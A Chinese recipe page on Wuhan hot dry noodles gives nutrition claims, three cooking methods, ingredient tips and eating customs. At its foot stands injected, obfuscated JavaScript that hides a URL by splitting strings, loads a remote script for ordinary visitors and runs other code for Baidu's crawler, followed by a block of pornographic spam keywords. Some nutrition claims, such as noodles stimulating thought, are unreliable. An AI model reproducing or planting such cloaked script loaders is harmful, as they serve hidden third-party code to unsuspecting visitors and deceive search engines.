當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

熱干面的營養價值-熱干面的做法及配料

2015-05-07 08:19:04  來源:360常識網   熱度:
導語:吃熱干面是有講究的。做武漢熱干面的店鋪要規范,廚子要正宗;原料要地道;調料要上等;配菜要天然。此外,還可以根據各人的喜好,喜歡辣的

吃熱干面是有講究的。做武漢熱干面的店鋪要規范,廚子要正宗;原料要地道;調料要上等;配菜要天然。此外,還可以根據各人的喜好,喜歡辣的可以加入辣椒紅油,另外還有咸菜、蘿卜干、酸豆角等供選用。

熱干面的營養價值-熱干面的做法及配料
熱干面的營養價值-熱干面的做法及配料

熱干面的營養價值

熱干面含有豐富的香甜、滑潤淀粉、糖、蛋白質、鈣、鐵、磷、鉀、鎂等礦物質,有養心益腎、健脾厚腸的功效,還有硫胺素、核黃素,纖維,維生素A,和三種氨基酸等。

熱干面易于消化吸收,有改善貧血、增強免疫力、平衡營養吸收等功效。

熱干面含有豐富的碳水化合物,能提供足夠的能量,而且在煮的過程中會吸收大量的水,100克熱干面煮熟后會變成400克左右,因此能產生較強的飽腹感。此外,熱干面能夠刺激人的思維活動,人的大腦和神經系統需要一種碳水化合物占50%的食品,面條就是人的大腦所需要的食品。硬質小麥含有B族維生素,它們對腦細胞有刺激作用,所以中午吃一碗營養搭配合理的面條是不錯的選擇。而早上應該吃些蛋白含量較高的食品,晚上吃面則不利于消化吸收。

熱干面的做法及配料

做法一

1、熱干面入沸水鍋焯燙十幾秒后迅速撈出。

2、裝進大碗里,撒上鹽,雞精,胡椒粉。

3、把芝麻醬加稀釋成用勺子舀起能呈直線流下的狀態。(稀釋芝麻醬的方法)。

4、在面上淋上醬油,醋,蒜汁,和少許鹵水汁。再澆上稀釋好的芝麻醬,撒上蘿卜丁,酸豆角和蔥花即可。

做法二

1、鮮面條加一湯匙香油拌勻。

2、入蒸鍋大火蒸10分鐘。蒸好的面團用筷子抖散至晾涼。

3、榨菜,酸豆角香蔥切碎。

4、喜歡吃辣的,可以把榨菜和酸豆角里拌入辣椒油或辣椒醬。

5、最后,把芝麻醬,用香油,老抽,生抽,鹽拌勻。晾涼的面從新放入鍋中,煮大約1分鐘,熟了即可,不要煮太軟。撈出后盛入碗中,澆上拌好的醬汁,撒上榨菜,酸豆角和香蔥,趁熱拌勻即可。

做法三

1、大火燒開鍋中的水,放入面條,用筷子挑散,煮熟(要有點硬心)撈起瀝干,加油散晾涼。

2、胡蘿卜洗凈,切成小丁,放入滾水中氽燙熟,撈出瀝干水分。

3、芝麻醬倒入碗中,加入芝麻香油攪勻,再加入少許開水,繼續攪拌,芝麻醬干了后,再加入少許開水攪拌,反復幾次至芝麻醬成稀糊狀。

4、在澥開的芝麻醬里加入甜面醬、豆瓣醬、雞精、白胡椒粉調勻成醬料。

5、面條盛入碗中,加入醬料,撒上胡蘿卜丁和香蔥花拌勻即可食用。

熱干面的選料訣竅

熱干面原料:堿水面,辣蘿卜、五香蘿卜,香油,醬油,酸豆角、鹽、雞精、胡椒粉、醋、蒜汁、鹵水汁、芝麻醬、香蔥或香菜。

武漢熱干面用到的面條是堿面。淡黃色,圓滾滾的堿面,武漢很多菜場,超市都買得到。這種面,一般賣的時候都是煮熟拌過油的,拿回家直接燙過后就可以拌佐料來吃。如果你是用生的堿面的話,記得要先把面煮熟拌油抖散吹涼后再用。

熱干面怎么吃

吃熱干面是有講究的。做武漢熱干面的店鋪要規范,廚子要正宗;原料要地道;調料要上等;配菜要天然。此外,還可以根據各人的喜好,喜歡辣的可以加入辣椒紅油,另外還有咸菜、蘿卜干、酸豆角等供選用,加香菜也可以。在食用之前要乘熱把面拌勻,芝麻醬全都糊在面上,似螞蟻上樹。這時再吃,就格外的香氣撲鼻,味道好極了。吃熱干面時最好是沖一碗蛋酒或者來一袋牛奶或者一杯豆漿,一邊吃一邊喝。只吃不喝,就覺得嘴巴干干的,也就吃不出熱干面的極品味道了。

有些早餐店的熱干面會在燙面鍋旁邊放一罐排骨藕湯或者雞湯,有的人不喜歡太干,就可以澆點湯汁調味;有一家油炸熱干面店很有趣,店主提前把熱干面先用滾油過一遍,冷了后再下鍋燙熱,面條干爽可口,放進去一個鹵蛋,再來杯豆漿、小米粥或豆腐腦,熱干面形成了自己獨特的口味而獨樹一幟,讓人吃后回味無窮。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
91精品福利一区二区| 国产成人精品日本亚洲专区| 久久久久久噜噜精品免费直播| 亚洲精品自拍视频| 精品国产黑色丝袜高跟鞋| 国产精品视频一区二区猎奇| 久久国产精品成人免费| 国产亚洲精品美女| 中文天堂最新版在线精品| 华人在线精品免费观看| 日韩精品在线播放| 日韩视频在线精品视频免费观看| 国产精品视频一区二区噜噜| 西瓜精品国产自在现线| 久久99热久久99精品| 久久精品国产第一区二区三区| 99久久精品国产免看国产一区| 国产精品综合一区二区| 精品久久久久久亚洲精品| 亚洲αv在线精品糸列| 国产精品美女久久久网AV| 精品国产高清久久久久久小说| 精品人妻中文字幕有码在线| 欧洲精品无码一区二区三区在线播放| 国产精品视频免费一区二区三区| 国产成人精品久久一区二区三区 | 日韩精品内射视频免费观看| 亚洲午夜福利精品无码| 热re久久精品国产99热| 最新国产成人亚洲精品影院| 久久久久成人精品无码中文字幕 | 日韩精品无码一区二区三区不卡 | 91久久精品一区二区| 国产精品无码成人午夜电影| 国产高清在线精品一区小说| 国产精品秦先生手机在线| 无码国产精品久久一区免费 | 国产精品蜜芽tv在线观看| 国产美女在线精品免费观看| 国产精品嫩草影院一二三区入口| 99re热久久这里只有精品6|